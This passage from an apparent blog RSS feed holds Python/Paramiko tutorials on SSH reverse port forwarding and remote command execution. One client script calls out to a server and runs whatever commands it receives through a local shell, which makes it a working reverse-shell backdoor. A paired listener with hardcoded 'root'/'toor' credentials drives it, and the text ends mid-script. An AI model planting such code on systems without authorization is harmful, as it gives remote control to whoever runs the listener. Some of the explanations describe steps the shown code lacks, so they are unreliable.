<span class="line"><span style="color: #F8F8F2">    )</span></span>
<span class="line"><span style="color: #F8F8F2">    options, args </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> parser.parse_args()</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">len</span><span style="color: #F8F8F2">(args) </span><span style="color: #F92672">!=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">        parser.error(</span><span style="color: #E6DB74">&quot;Incorrect number of arguments.&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> options.remote </span><span style="color: #F92672">is</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">None</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">        parser.error(</span><span style="color: #E6DB74">&quot;Remote address required (-r).&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    g_verbose </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> options.verbose</span></span>
<span class="line"><span style="color: #F8F8F2">    server_host, server_port </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> get_host_port(args[</span><span style="color: #AE81FF">0</span><span style="color: #F8F8F2">], </span><span style="color: #AE81FF">SSH_PORT</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">    remote_host, remote_port </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> get_host_port(options.remote, </span><span style="color: #AE81FF">SSH_PORT</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">return</span><span style="color: #F8F8F2"> options, (server_host, server_port), (remote_host, remote_port)</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">main</span><span style="color: #F8F8F2">():</span></span>
<span class="line"><span style="color: #F8F8F2">    options, server, remote </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> parse_options()</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    password </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">None</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> options.readpass:</span></span>
<span class="line"><span style="color: #F8F8F2">        password </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> getpass.getpass(</span><span style="color: #E6DB74">&quot;Enter SSH password: &quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    client </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> paramiko.SSHClient()</span></span>
<span class="line"><span style="color: #F8F8F2">    client.load_system_host_keys()</span></span>
<span class="line"><span style="color: #F8F8F2">    client.set_missing_host_key_policy(paramiko.WarningPolicy())</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    verbose(</span><span style="color: #E6DB74">&quot;Connecting to ssh host </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">:</span><span style="color: #AE81FF">%d</span><span style="color: #E6DB74"> ...&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> (server[</span><span style="color: #AE81FF">0</span><span style="color: #F8F8F2">], server[</span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2">]))</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">try</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">        client.connect(</span></span>
<span class="line"><span style="color: #F8F8F2">            server[</span><span style="color: #AE81FF">0</span><span style="color: #F8F8F2">],</span></span>
<span class="line"><span style="color: #F8F8F2">            server[</span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2">],</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #FD971F; font-style: italic">username</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">options.user,</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #FD971F; font-style: italic">key_filename</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">options.keyfile,</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #FD971F; font-style: italic">look_for_keys</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">options.look_for_keys,</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #FD971F; font-style: italic">password</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">password,</span></span>
<span class="line"><span style="color: #F8F8F2">        )</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">except</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">Exception</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">as</span><span style="color: #F8F8F2"> e:</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;*** Failed to connect to </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">:</span><span style="color: #AE81FF">%d</span><span style="color: #E6DB74">: </span><span style="color: #AE81FF">%r</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> (server[</span><span style="color: #AE81FF">0</span><span style="color: #F8F8F2">], server[</span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2">], e))</span></span>
<span class="line"><span style="color: #F8F8F2">        sys.exit(</span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    verbose(</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #E6DB74">&quot;Now forwarding remote port </span><span style="color: #AE81FF">%d</span><span style="color: #E6DB74"> to </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">:</span><span style="color: #AE81FF">%d</span><span style="color: #E6DB74"> ...&quot;</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> (options.port, remote[</span><span style="color: #AE81FF">0</span><span style="color: #F8F8F2">], remote[</span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2">])</span></span>
<span class="line"><span style="color: #F8F8F2">    )</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">try</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">        reverse_forward_tunnel(</span></span>
<span class="line"><span style="color: #F8F8F2">            options.port, remote[</span><span style="color: #AE81FF">0</span><span style="color: #F8F8F2">], remote[</span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2">], client.get_transport()</span></span>
<span class="line"><span style="color: #F8F8F2">        )</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">except</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">KeyboardInterrupt</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;C-c: Port forwarding stopped.&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">        sys.exit(</span><span style="color: #AE81FF">0</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #F92672">if</span><span style="color: #F8F8F2"> __name__ </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;__main__&quot;</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">    main()</span></span></code></pre></div>



<div class="wp-block-jetpack-markdown"><p>This Python script demonstrates how to perform reverse port forwarding over SSH using the Paramiko library. Reverse port forwarding allows a remote machine to access services on the local machine through an SSH tunnel.</p>
<h2>Explanation:</h2>
<ol>
<li>
<p><strong>Importing Libraries:</strong></p>
<ul>
<li>The script imports necessary modules, including <code>socket</code>, <code>select</code>, <code>sys</code>, <code>threading</code>, and <code>paramiko</code>.</li>
</ul>
</li>
<li>
<p><strong>Constants:</strong></p>
<ul>
<li>The script defines some constants, such as the default SSH port (22) and a default port for the reverse tunnel (4000).</li>
</ul>
</li>
<li>
<p><strong>Global Variable:</strong></p>
<ul>
<li><code>g_verbose</code> is a global variable used to control verbose output. If set to <code>True</code>, it prints informative messages.</li>
</ul>
</li>
<li>
<p><strong>Handler Function:</strong></p>
<ul>
<li>The <code>handler</code> function is responsible for managing the data transfer between the SSH channel and the local/remote sockets.</li>
</ul>
</li>
<li>
<p><strong>Reverse Forward Tunnel Function:</strong></p>
<ul>
<li>The <code>reverse_forward_tunnel</code> function sets up the reverse forwarding tunnel. It requests port forwarding from the remote server and continuously accepts incoming connections to the specified port.</li>
</ul>
</li>
<li>
<p><strong>Verbose Function:</strong></p>
<ul>
<li>The <code>verbose</code> function prints messages if the global variable <code>g_verbose</code> is set to <code>True</code>.</li>
</ul>
</li>
<li>
<p><strong>Help Message:</strong></p>
<ul>
<li>The <code>HELP</code> string provides a brief description of the script’s purpose.</li>
</ul>
</li>
<li>
<p><strong>Helper Functions:</strong></p>
<ul>
<li><code>get_host_port</code>: Parses a string in the format “hostname:port” into host and port components.</li>
<li><code>parse_options</code>: Parses command-line options using the <code>OptionParser</code> class.</li>
</ul>
</li>
<li>
<p><strong>Main Function:</strong></p>
<ul>
<li>The <code>main</code> function is the entry point of the script. It parses command-line options, establishes an SSH connection to the specified server, and initiates the reverse forwarding tunnel.</li>
</ul>
</li>
<li>
<p><strong>Script Execution:</strong></p>
<ul>
<li>The script checks if it’s being run directly (<code>if __name__ == &quot;__main__&quot;:</code>) and calls the <code>main</code> function.</li>
</ul>
</li>
</ol>
<p>This script provides a command-line interface for setting up reverse port forwarding over SSH, allowing a remote machine to access local services securely. Users can specify the SSH server, remote host and port, and other parameters through command-line options. The Paramiko library is used for SSH-related functionalities.</p>
</div>
<p>The post <a href="https://awjunaid.com/networking/ssh-forward-and-reverse-tunneling/">SSH forward and reverse tunneling</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://awjunaid.com/networking/ssh-forward-and-reverse-tunneling/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">8918</post-id>	</item>
		<item>
		<title>SSH server and client to run remote commands with Paramiko</title>
		<link>https://awjunaid.com/networking/ssh-server-and-client-to-run-remote-commands-with-paramiko/</link>
					<comments>https://awjunaid.com/networking/ssh-server-and-client-to-run-remote-commands-with-paramiko/?noamp=mobile#respond</comments>
		
		<dc:creator><![CDATA[Abdul Wahab Junaid]]></dc:creator>
		<pubDate>Fri, 29 Dec 2023 17:17:14 +0000</pubDate>
				<category><![CDATA[Networking]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[python]]></category>
		<guid isPermaLink="false">https://awjunaid.com/?p=8915</guid>

					<description><![CDATA[<p>Paramiko is a Python library for SSH (Secure Shell) protocol implementation. It allows you to create secure connections&#8230;</p>
<p>The post <a href="https://awjunaid.com/networking/ssh-server-and-client-to-run-remote-commands-with-paramiko/">SSH server and client to run remote commands with Paramiko</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Paramiko is a Python library for SSH (Secure Shell) protocol implementation. It allows you to create secure connections to remote servers over SSH, execute commands, transfer files, and manage various aspects of the remote system.</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers cbp-highlight-hover" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(2 * 0.6 * .875rem);--cbp-line-highlight-color:rgba(253, 253, 237, 0.2);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Python</span><span role="button" tabindex="0" data-code="import paramiko


def ssh_command(ip, user, passwd, command):
    client = paramiko.SSHClient()
    # client can also support using key files
    # client.load_host_keys('/home/user/.ssh/known_hosts')
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(ip, username=user, password=passwd)
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        ssh_session.exec_command(command)
        print(ssh_session.recv(1024))
    return


ssh_command('192.168.100.131', 'junaid', 'lovesthepython', 'ClientConnected')" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> paramiko</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">ssh_command</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">ip</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">user</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">passwd</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">command</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    client </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> paramiko.SSHClient()</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># client can also support using key files</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># client.load_host_keys(&#39;/home/user/.ssh/known_hosts&#39;)</span></span>
<span class="line"><span style="color: #F8F8F2">    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())</span></span>
<span class="line"><span style="color: #F8F8F2">    client.connect(ip, </span><span style="color: #FD971F; font-style: italic">username</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">user, </span><span style="color: #FD971F; font-style: italic">password</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">passwd)</span></span>
<span class="line"><span style="color: #F8F8F2">    ssh_session </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> client.get_transport().open_session()</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> ssh_session.active:</span></span>
<span class="line"><span style="color: #F8F8F2">        ssh_session.exec_command(command)</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(ssh_session.recv(</span><span style="color: #AE81FF">1024</span><span style="color: #F8F8F2">))</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">return</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">ssh_command(</span><span style="color: #E6DB74">&#39;192.168.100.131&#39;</span><span style="color: #F8F8F2">, </span><span style="color: #E6DB74">&#39;junaid&#39;</span><span style="color: #F8F8F2">, </span><span style="color: #E6DB74">&#39;lovesthepython&#39;</span><span style="color: #F8F8F2">, </span><span style="color: #E6DB74">&#39;ClientConnected&#39;</span><span style="color: #F8F8F2">)</span></span></code></pre></div>



<div class="wp-block-jetpack-markdown"><h2>Explanation:</h2>
<ol>
<li>
<p><strong>Import Paramiko:</strong></p>
<ul>
<li>The script begins by importing the <code>paramiko</code> module.</li>
</ul>
</li>
<li>
<p><strong>Function <code>ssh_command</code>:</strong></p>
<ul>
<li>This function takes four parameters: <code>ip</code> (IP address of the remote server), <code>user</code> (SSH username), <code>passwd</code> (SSH password), and <code>command</code> (the command to execute on the remote server).</li>
<li>Inside the function, an instance of the <code>SSHClient</code> class is created.</li>
</ul>
</li>
<li>
<p><strong>Setting Host Key Policy:</strong></p>
<ul>
<li>The script sets the host key policy to <code>AutoAddPolicy()</code>, which automatically adds the server’s host key to the local <code>known_hosts</code> file. This is insecure and should be avoided in production for security reasons.</li>
</ul>
</li>
<li>
<p><strong>Connecting to the Remote Server:</strong></p>
<ul>
<li>The <code>connect</code> method is used to establish an SSH connection to the remote server. It takes the IP address, username, and password as parameters.</li>
</ul>
</li>
<li>
<p><strong>Opening an SSH Session:</strong></p>
<ul>
<li>The <code>get_transport().open_session()</code> method is used to open an SSH session.</li>
</ul>
</li>
<li>
<p><strong>Executing the Command:</strong></p>
<ul>
<li>If the SSH session is active (<code>if ssh_session.active:</code>), the specified command is executed on the remote server using <code>exec_command</code>.</li>
</ul>
</li>
<li>
<p><strong>Receiving and Printing Output:</strong></p>
<ul>
<li>The script receives the output of the executed command (limited to 1024 bytes) using <code>ssh_session.recv(1024)</code>. It is then decoded from bytes to a UTF-8 string and printed.</li>
</ul>
</li>
<li>
<p><strong>Exception Handling:</strong></p>
<ul>
<li>Any exceptions that occur during the execution of the script are caught, and an error message is printed.</li>
</ul>
</li>
<li>
<p><strong>Closing the SSH Connection:</strong></p>
<ul>
<li>Finally, the <code>close</code> method is called to close the SSH connection.</li>
</ul>
</li>
<li>
<p><strong>Example Usage:</strong></p>
<ul>
<li>The script concludes with an example usage of the <code>ssh_command</code> function, where it connects to the server with the specified IP, username, password, and executes the command <code>'ClientConnected'</code>.</li>
</ul>
</li>
</ol>
</div>



<h2 class="wp-block-heading">SSH client to connect to an SSH server:</h2>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers cbp-highlight-hover" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(2 * 0.6 * .875rem);--cbp-line-highlight-color:rgba(253, 253, 237, 0.2);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Python</span><span role="button" tabindex="0" data-code="import subprocess
import paramiko


def ssh_command(ip, user, passwd, command):
    client = paramiko.SSHClient()
    # client can also support using key files
    # client.load_host_keys('/home/user/.ssh/known_hosts')
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(ip, username=user, password=passwd)
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        ssh_session.send(command)
        print(ssh_session.recv(1024))  # read banner

        while True:
            # get the command from the SSH server
            command = ssh_session.recv(1024)
            try:
                cmd_output = subprocess.check_output(command.decode(), shell=True)
                ssh_session.send(cmd_output)
            except Exception as e:
                ssh_session.send(str(e))
    client.close()
    return


ssh_command('192.168.100.122', 'Junaid', 'lovesthepython', 'ClientConnected')" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> subprocess</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> paramiko</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">ssh_command</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">ip</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">user</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">passwd</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">command</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    client </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> paramiko.SSHClient()</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># client can also support using key files</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># client.load_host_keys(&#39;/home/user/.ssh/known_hosts&#39;)</span></span>
<span class="line"><span style="color: #F8F8F2">    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())</span></span>
<span class="line"><span style="color: #F8F8F2">    client.connect(ip, </span><span style="color: #FD971F; font-style: italic">username</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">user, </span><span style="color: #FD971F; font-style: italic">password</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">passwd)</span></span>
<span class="line"><span style="color: #F8F8F2">    ssh_session </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> client.get_transport().open_session()</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> ssh_session.active:</span></span>
<span class="line"><span style="color: #F8F8F2">        ssh_session.send(command)</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(ssh_session.recv(</span><span style="color: #AE81FF">1024</span><span style="color: #F8F8F2">))  </span><span style="color: #88846F"># read banner</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">while</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">True</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #88846F"># get the command from the SSH server</span></span>
<span class="line"><span style="color: #F8F8F2">            command </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> ssh_session.recv(</span><span style="color: #AE81FF">1024</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">try</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">                cmd_output </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> subprocess.check_output(command.decode(), </span><span style="color: #FD971F; font-style: italic">shell</span><span style="color: #F92672">=</span><span style="color: #AE81FF">True</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">                ssh_session.send(cmd_output)</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">except</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">Exception</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">as</span><span style="color: #F8F8F2"> e:</span></span>
<span class="line"><span style="color: #F8F8F2">                ssh_session.send(</span><span style="color: #66D9EF; font-style: italic">str</span><span style="color: #F8F8F2">(e))</span></span>
<span class="line"><span style="color: #F8F8F2">    client.close()</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">return</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">ssh_command(</span><span style="color: #E6DB74">&#39;192.168.100.122&#39;</span><span style="color: #F8F8F2">, </span><span style="color: #E6DB74">&#39;Junaid&#39;</span><span style="color: #F8F8F2">, </span><span style="color: #E6DB74">&#39;lovesthepython&#39;</span><span style="color: #F8F8F2">, </span><span style="color: #E6DB74">&#39;ClientConnected&#39;</span><span style="color: #F8F8F2">)</span></span></code></pre></div>



<div class="wp-block-jetpack-markdown"><h2>Explanation:</h2>
<ol>
<li>
<p><strong>Interactive Shell Functionality:</strong></p>
<ul>
<li>This script extends the previous example by creating an interactive shell over the SSH connection.</li>
</ul>
</li>
<li>
<p><strong>Sending and Receiving Commands:</strong></p>
<ul>
<li>The initial command is sent to the server using <code>ssh_session.send(command)</code>.</li>
<li>The script then enters a main loop where it continuously receives commands from the SSH server using <code>ssh_session.recv(1024).decode()</code>.</li>
</ul>
</li>
<li>
<p><strong>Executing Commands:</strong></p>
<ul>
<li>Each received command is executed locally on the script’s machine using <code>subprocess.check_output(command, shell=True)</code>.</li>
<li>The output of the command is sent back to the SSH server using <code>ssh_session.send(cmd_output)</code>.</li>
</ul>
</li>
<li>
<p><strong>Exception Handling:</strong></p>
<ul>
<li>If an exception occurs during the execution of a command, the exception message is sent back to the SSH server.</li>
</ul>
</li>
<li>
<p><strong>Closing the SSH Connection:</strong></p>
<ul>
<li>The <code>finally</code> block ensures that the SSH connection is closed even if an exception occurs.</li>
</ul>
</li>
<li>
<p><strong>Example Usage:</strong></p>
<ul>
<li>The script concludes with an example usage of the <code>ssh_command</code> function, connecting to the server with the specified IP, username, password, and initiating the command <code>'ClientConnected'</code>.</li>
</ul>
</li>
</ol>
</div>



<h2 class="wp-block-heading">SSH Server</h2>



<p class="wp-block-paragraph">The server listens for incoming connections, authenticates clients based on a hardcoded username and password, and allows the authenticated clients to execute commands on the server.</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers cbp-highlight-hover" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(2 * 0.6 * .875rem);--cbp-line-highlight-color:rgba(253, 253, 237, 0.2);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Python</span><span role="button" tabindex="0" data-code="import socket
import paramiko
import threading
import sys

# using the server host key from the paramiko demo files
host_key = paramiko.RSAKey(filename='test_rsa.key')


class Server(paramiko.ServerInterface):
    def __init__(self):
        self.event = threading.Event()

    def check_channel_request(self, kind, chanid):
        if kind == 'session':
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

    def check_auth_password(self, username, password):
        if username == 'root' and password == 'toor':
            return paramiko.AUTH_SUCCESSFUL
        return paramiko.AUTH_FAILED


server = sys.argv[1]
ssh_port = int(sys.argv[2])

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((server, ssh_port))
    sock.listen(100)
    print(&quot;[+] Listening for connection...&quot;)
    client, addr = sock.accept()
except Exception as e:
    print(&quot;[-] Listen failed: &quot; + str(e))
    sys.exit(1)

print(&quot;[+] Got a connection!&quot;)

try:
    # noinspection PyTypeChecker
    bhSession = paramiko.Transport(client)
    bhSession.add_server_key(host_key)
    server = Server()
    try:
        bhSession.start_server(server=server)
    except paramiko.SSHException:
        print(&quot;[-] SSH negotiation failed.&quot;)
    chan = bhSession.accept(20)
    print(&quot;[+] Authenticated!&quot;)
    print(chan.recv(1024))
    chan.send(&quot;Welcome to bh_ssh!&quot;)
    while True:
        try:
            command = input(&quot;Enter command: &quot;).strip(&quot;\n&quot;)
            if command != &quot;exit&quot;:
                chan.send(command)
                print(chan.recv(1024).decode(errors=&quot;ignore&quot;) + &quot;\n&quot;)
            else:
                chan.send(&quot;exit&quot;)
                print(&quot;Exiting...&quot;)
                bhSession.close()
                raise Exception(&quot;exit&quot;)
        except KeyboardInterrupt:
            bhSession.close()
        except Exception as e:
            print(&quot;[-] Caught exception: &quot; + str(e))
            bhSession.close()
finally:
